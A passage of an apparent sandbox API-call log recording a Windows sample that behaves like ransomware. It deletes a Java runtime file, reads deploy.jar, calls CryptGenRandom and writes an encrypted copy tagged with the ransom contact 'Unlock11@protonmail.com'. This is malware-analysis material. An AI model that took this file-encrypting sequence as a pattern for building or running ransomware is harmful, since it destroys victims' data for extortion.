hHeap=0x2ad0000) returned 1 [0125.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0125.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0125.414] GetLastError () returned 0x0 [0125.415] GetLastError () returned 0x0 [0125.415] GetCurrentThreadId () returned 0x9b0 [0125.415] GetCurrentThreadId () returned 0x9b0 [0125.417] GetCurrentThreadId () returned 0x9b0 [0125.418] GetCurrentThreadId () returned 0x9b0 [0125.418] GetCurrentThreadId () returned 0x9b0 [0125.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.420] GetCurrentThreadId () returned 0x9b0 [0125.421] GetCurrentThreadId () returned 0x9b0 [0125.422] GetCurrentThreadId () returned 0x9b0 [0125.424] GetCurrentThreadId () returned 0x9b0 [0125.424] GetCurrentThreadId () returned 0x9b0 [0125.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0125.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0125.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.425] GetCurrentThreadId () returned 0x9b0 [0125.426] GetCurrentThreadId () returned 0x9b0 [0125.427] GetCurrentThreadId () returned 0x9b0 [0125.428] GetCurrentThreadId () returned 0x9b0 [0125.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.428] GetCurrentThreadId () returned 0x9b0 [0125.429] GetCurrentThreadId () returned 0x9b0 [0125.429] GetCurrentThreadId () returned 0x9b0 [0125.429] GetCurrentThreadId () returned 0x9b0 [0125.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.430] GetCurrentThreadId () returned 0x9b0 [0125.431] GetCurrentThreadId () returned 0x9b0 [0125.431] GetCurrentThreadId () returned 0x9b0 [0125.431] GetCurrentThreadId () returned 0x9b0 [0125.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.433] GetCurrentThreadId () returned 0x9b0 [0125.434] GetCurrentThreadId () returned 0x9b0 [0125.434] GetCurrentThreadId () returned 0x9b0 [0125.434] GetCurrentThreadId () returned 0x9b0 [0125.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.435] GetCurrentThreadId () returned 0x9b0 [0125.437] GetCurrentThreadId () returned 0x9b0 [0125.438] GetCurrentThreadId () returned 0x9b0 [0125.438] GetCurrentThreadId () returned 0x9b0 [0125.438] GetCurrentThreadId () returned 0x9b0 [0125.440] GetCurrentThreadId () returned 0x9b0 [0125.440] GetCurrentThreadId () returned 0x9b0 [0125.440] GetCurrentThreadId () returned 0x9b0 [0125.440] GetCurrentThreadId () returned 0x9b0 [0125.442] GetCurrentThreadId () returned 0x9b0 [0125.443] GetCurrentThreadId () returned 0x9b0 [0125.443] GetCurrentThreadId () returned 0x9b0 [0125.444] GetCurrentThreadId () returned 0x9b0 [0125.445] GetCurrentThreadId () returned 0x9b0 [0125.445] GetCurrentThreadId () returned 0x9b0 [0125.446] GetCurrentThreadId () returned 0x9b0 [0125.446] GetCurrentThreadId () returned 0x9b0 [0125.448] GetCurrentThreadId () returned 0x9b0 [0125.449] GetCurrentThreadId () returned 0x9b0 [0125.449] GetCurrentThreadId () returned 0x9b0 [0125.449] GetCurrentThreadId () returned 0x9b0 [0125.450] GetCurrentThreadId () returned 0x9b0 [0125.451] GetCurrentThreadId () returned 0x9b0 [0125.451] GetCurrentThreadId () returned 0x9b0 [0125.451] GetCurrentThreadId () returned 0x9b0 [0125.452] GetCurrentThreadId () returned 0x9b0 [0125.454] GetCurrentThreadId () returned 0x9b0 [0125.454] GetCurrentThreadId () returned 0x9b0 [0125.455] GetCurrentThreadId () returned 0x9b0 [0125.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0125.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.456] GetCurrentThreadId () returned 0x9b0 [0125.514] GetCurrentThreadId () returned 0x9b0 [0125.515] GetCurrentThreadId () returned 0x9b0 [0125.519] GetCurrentThreadId () returned 0x9b0 [0125.519] GetCurrentThreadId () returned 0x9b0 [0125.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.550] GetCurrentThreadId () returned 0x9b0 [0125.551] GetCurrentThreadId () returned 0x9b0 [0125.593] GetCurrentThreadId () returned 0x9b0 [0125.594] GetCurrentThreadId () returned 0x9b0 [0125.594] GetCurrentThreadId () returned 0x9b0 [0125.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653c8 [0125.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0125.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.595] GetCurrentThreadId () returned 0x9b0 [0125.596] GetCurrentThreadId () returned 0x9b0 [0125.596] GetCurrentThreadId () returned 0x9b0 [0125.596] GetCurrentThreadId () returned 0x9b0 [0125.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0125.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0125.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.597] GetCurrentThreadId () returned 0x9b0 [0125.597] GetCurrentThreadId () returned 0x9b0 [0125.598] GetCurrentThreadId () returned 0x9b0 [0125.598] GetCurrentThreadId () returned 0x9b0 [0125.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.598] GetCurrentThreadId () returned 0x9b0 [0125.600] GetCurrentThreadId () returned 0x9b0 [0125.600] GetCurrentThreadId () returned 0x9b0 [0125.600] GetCurrentThreadId () returned 0x9b0 [0125.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.600] GetCurrentThreadId () returned 0x9b0 [0125.602] GetCurrentThreadId () returned 0x9b0 [0125.602] GetCurrentThreadId () returned 0x9b0 [0125.603] GetCurrentThreadId () returned 0x9b0 [0125.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.603] GetCurrentThreadId () returned 0x9b0 [0125.607] GetCurrentThreadId () returned 0x9b0 [0125.607] GetCurrentThreadId () returned 0x9b0 [0125.608] GetCurrentThreadId () returned 0x9b0 [0125.608] GetCurrentThreadId () returned 0x9b0 [0125.610] GetCurrentThreadId () returned 0x9b0 [0125.612] GetCurrentThreadId () returned 0x9b0 [0125.612] GetCurrentThreadId () returned 0x9b0 [0125.612] GetCurrentThreadId () returned 0x9b0 [0125.614] GetCurrentThreadId () returned 0x9b0 [0125.615] GetCurrentThreadId () returned 0x9b0 [0125.616] GetCurrentThreadId () returned 0x9b0 [0125.616] GetCurrentThreadId () returned 0x9b0 [0125.617] GetCurrentThreadId () returned 0x9b0 [0125.620] GetCurrentThreadId () returned 0x9b0 [0125.620] GetCurrentThreadId () returned 0x9b0 [0125.621] GetCurrentThreadId () returned 0x9b0 [0125.622] GetCurrentThreadId () returned 0x9b0 [0125.623] GetCurrentThreadId () returned 0x9b0 [0125.623] GetCurrentThreadId () returned 0x9b0 [0125.624] GetCurrentThreadId () returned 0x9b0 [0125.625] GetCurrentThreadId () returned 0x9b0 [0125.626] GetCurrentThreadId () returned 0x9b0 [0125.627] GetCurrentThreadId () returned 0x9b0 [0125.627] GetCurrentThreadId () returned 0x9b0 [0125.629] GetCurrentThreadId () returned 0x9b0 [0125.629] GetCurrentThreadId () returned 0x9b0 [0125.630] GetCurrentThreadId () returned 0x9b0 [0125.630] GetCurrentThreadId () returned 0x9b0 [0125.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0125.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.631] GetCurrentThreadId () returned 0x9b0 [0125.632] GetCurrentThreadId () returned 0x9b0 [0125.633] GetCurrentThreadId () returned 0x9b0 [0125.633] GetCurrentThreadId () returned 0x9b0 [0125.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.678] GetCurrentThreadId () returned 0x9b0 [0125.679] GetCurrentThreadId () returned 0x9b0 [0125.679] GetCurrentThreadId () returned 0x9b0 [0125.680] GetCurrentThreadId () returned 0x9b0 [0125.691] GetCurrentThreadId () returned 0x9b0 [0125.691] GetCurrentThreadId () returned 0x9b0 [0125.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0125.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.692] GetCurrentThreadId () returned 0x9b0 [0125.696] GetCurrentThreadId () returned 0x9b0 [0125.697] GetCurrentThreadId () returned 0x9b0 [0125.697] GetCurrentThreadId () returned 0x9b0 [0125.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0125.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0125.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.698] GetCurrentThreadId () returned 0x9b0 [0125.699] GetCurrentThreadId () returned 0x9b0 [0125.699] GetCurrentThreadId () returned 0x9b0 [0125.699] GetCurrentThreadId () returned 0x9b0 [0125.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.700] GetCurrentThreadId () returned 0x9b0 [0125.701] GetCurrentThreadId () returned 0x9b0 [0125.702] GetCurrentThreadId () returned 0x9b0 [0125.702] GetCurrentThreadId () returned 0x9b0 [0125.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.703] GetCurrentThreadId () returned 0x9b0 [0125.704] GetCurrentThreadId () returned 0x9b0 [0125.704] GetCurrentThreadId () returned 0x9b0 [0125.704] GetCurrentThreadId () returned 0x9b0 [0125.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.704] GetCurrentThreadId () returned 0x9b0 [0125.706] GetCurrentThreadId () returned 0x9b0 [0125.707] GetCurrentThreadId () returned 0x9b0 [0125.707] GetCurrentThreadId () returned 0x9b0 [0125.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.708] GetCurrentThreadId () returned 0x9b0 [0125.709] GetCurrentThreadId () returned 0x9b0 [0125.709] GetCurrentThreadId () returned 0x9b0 [0125.709] GetCurrentThreadId () returned 0x9b0 [0125.709] GetCurrentThreadId () returned 0x9b0 [0125.710] GetCurrentThreadId () returned 0x9b0 [0125.712] GetCurrentThreadId () returned 0x9b0 [0125.712] GetCurrentThreadId () returned 0x9b0 [0125.712] GetCurrentThreadId () returned 0x9b0 [0125.713] GetCurrentThreadId () returned 0x9b0 [0125.714] GetCurrentThreadId () returned 0x9b0 [0125.714] GetCurrentThreadId () returned 0x9b0 [0125.714] GetCurrentThreadId () returned 0x9b0 [0125.716] GetCurrentThreadId () returned 0x9b0 [0125.729] GetCurrentThreadId () returned 0x9b0 [0125.730] GetCurrentThreadId () returned 0x9b0 [0125.730] GetCurrentThreadId () returned 0x9b0 [0125.731] GetCurrentThreadId () returned 0x9b0 [0125.731] GetCurrentThreadId () returned 0x9b0 [0125.731] GetCurrentThreadId () returned 0x9b0 [0125.731] GetCurrentThreadId () returned 0x9b0 [0125.732] GetCurrentThreadId () returned 0x9b0 [0125.733] GetCurrentThreadId () returned 0x9b0 [0125.733] GetCurrentThreadId () returned 0x9b0 [0125.733] GetCurrentThreadId () returned 0x9b0 [0125.734] GetCurrentThreadId () returned 0x9b0 [0125.734] GetCurrentThreadId () returned 0x9b0 [0125.734] GetCurrentThreadId () returned 0x9b0 [0125.735] GetCurrentThreadId () returned 0x9b0 [0125.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0125.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.736] GetCurrentThreadId () returned 0x9b0 [0125.737] GetCurrentThreadId () returned 0x9b0 [0125.737] GetCurrentThreadId () returned 0x9b0 [0125.738] GetCurrentThreadId () returned 0x9b0 [0125.738] GetCurrentThreadId () returned 0x9b0 [0125.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.738] GetCurrentThreadId () returned 0x9b0 [0125.738] GetCurrentThreadId () returned 0x9b0 [0125.739] GetCurrentThreadId () returned 0x9b0 [0125.739] GetCurrentThreadId () returned 0x9b0 [0125.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fdc68 [0125.739] GetCurrentThreadId () returned 0x9b0 [0125.739] CloseHandle (hObject=0x3ac) returned 1 [0125.740] GetCurrentThreadId () returned 0x9b0 [0125.740] CloseHandle (hObject=0x39c) returned 1 [0125.740] GetCurrentThreadId () returned 0x9b0 [0125.740] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 1 [0125.748] GetCurrentThreadId () returned 0x9b0 [0125.748] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", lpFilePart=0x9bada4*="classlist") returned 0x30 [0125.748] GetCurrentThreadId () returned 0x9b0 [0125.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.749] GetCurrentThreadId () returned 0x9b0 [0125.749] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties", lpFilePart=0x9bada4*="content-types.properties") returned 0x3f [0125.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.749] GetCurrentThreadId () returned 0x9b0 [0125.749] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", lpFilePart=0x9bada4*="currency.data") returned 0x34 [0125.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.750] GetCurrentThreadId () returned 0x9b0 [0125.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0125.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0125.750] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", lpFilePart=0x9bada4*="deploy.jar") returned 0x31 [0125.750] GetCurrentThreadId () returned 0x9b0 [0125.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0125.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0125.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0125.750] GetCurrentThreadId () returned 0x9b0 [0125.751] GetCurrentThreadId () returned 0x9b0 [0125.751] GetCurrentThreadId () returned 0x9b0 [0125.751] GetCurrentThreadId () returned 0x9b0 [0125.751] GetCurrentThreadId () returned 0x9b0 [0125.751] GetCurrentThreadId () returned 0x9b0 [0125.751] GetCurrentThreadId () returned 0x9b0 [0125.751] GetCurrentThreadId () returned 0x9b0 [0125.752] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de)) returned 1 [0125.752] GetCurrentThreadId () returned 0x9b0 [0125.752] GetCurrentThreadId () returned 0x9b0 [0125.752] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664214 | out: pbBuffer=0x3664214) returned 1 [0125.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0125.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0125.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0125.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0125.753] GetCurrentThreadId () returned 0x9b0 [0125.753] GetCurrentThreadId () returned 0x9b0 [0125.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0125.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0125.753] GetCurrentThreadId () returned 0x9b0 [0125.753] GetCurrentThreadId () returned 0x9b0 [0125.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652d8 [0125.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0125.753] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.754] GetFileType (hFile=0x39c) returned 0x1 [0125.754] GetCurrentThreadId () returned 0x9b0 [0125.754] GetFileType (hFile=0x39c) returned 0x1 [0125.754] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.754] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.754] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.755] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.755] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.755] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.755] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.755] GetLastError () returned 0x0 [0125.755] GetCurrentThreadId () returned 0x9b0 [0125.755] GetLastError () returned 0x0 [0125.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0125.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0125.755] GetLastError () returned 0x0 [0125.755] GetLastError () returned 0x0 [0125.756] GetLastError () returned 0x0 [0125.756] GetLastError () returned 0x0 [0125.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0125.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652e8 [0125.756] GetLastError () returned 0x0 [0125.756] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.757] GetFileType (hFile=0x3ac) returned 0x1 [0125.757] GetLastError () returned 0x0 [0125.757] GetCurrentThreadId () returned 0x9b0 [0125.757] GetLastError () returned 0x0 [0125.757] GetFileType (hFile=0x3ac) returned 0x1 [0125.757] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.757] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.757] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.757] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.757] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.758] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.758] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.758] GetLastError () returned 0x0 [0125.758] GetCurrentThreadId () returned 0x9b0 [0125.758] GetLastError () returned 0x0 [0125.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0125.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0125.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.758] GetLastError () returned 0x0 [0125.758] GetLastError () returned 0x0 [0125.758] GetCurrentThreadId () returned 0x9b0 [0125.759] GetLastError () returned 0x0 [0125.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.760] GetLastError () returned 0x0 [0125.760] GetLastError () returned 0x0 [0125.760] GetCurrentThreadId () returned 0x9b0 [0125.760] GetLastError () returned 0x0 [0125.760] GetLastError () returned 0x0 [0125.762] GetLastError () returned 0x0 [0125.762] GetCurrentThreadId () returned 0x9b0 [0125.762] GetLastError () returned 0x0 [0125.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0125.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.762] GetCurrentThreadId () returned 0x9b0 [0125.763] GetLastError () returned 0x0 [0125.764] GetLastError () returned 0x0 [0125.764] GetLastError () returned 0x0 [0125.764] GetLastError () returned 0x0 [0125.764] GetCurrentThreadId () returned 0x9b0 [0125.764] GetLastError () returned 0x0 [0125.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.765] GetLastError () returned 0x0 [0125.766] GetLastError () returned 0x0 [0125.766] GetCurrentThreadId () returned 0x9b0 [0125.766] GetLastError () returned 0x0 [0125.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.767] GetLastError () returned 0x0 [0125.767] GetLastError () returned 0x0 [0125.768] GetCurrentThreadId () returned 0x9b0 [0125.768] GetLastError () returned 0x0 [0125.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0125.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0125.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.768] GetCurrentThreadId () returned 0x9b0 [0125.769] GetLastError () returned 0x0 [0125.769] GetLastError () returned 0x0 [0125.769] GetLastError () returned 0x0 [0125.769] GetLastError () returned 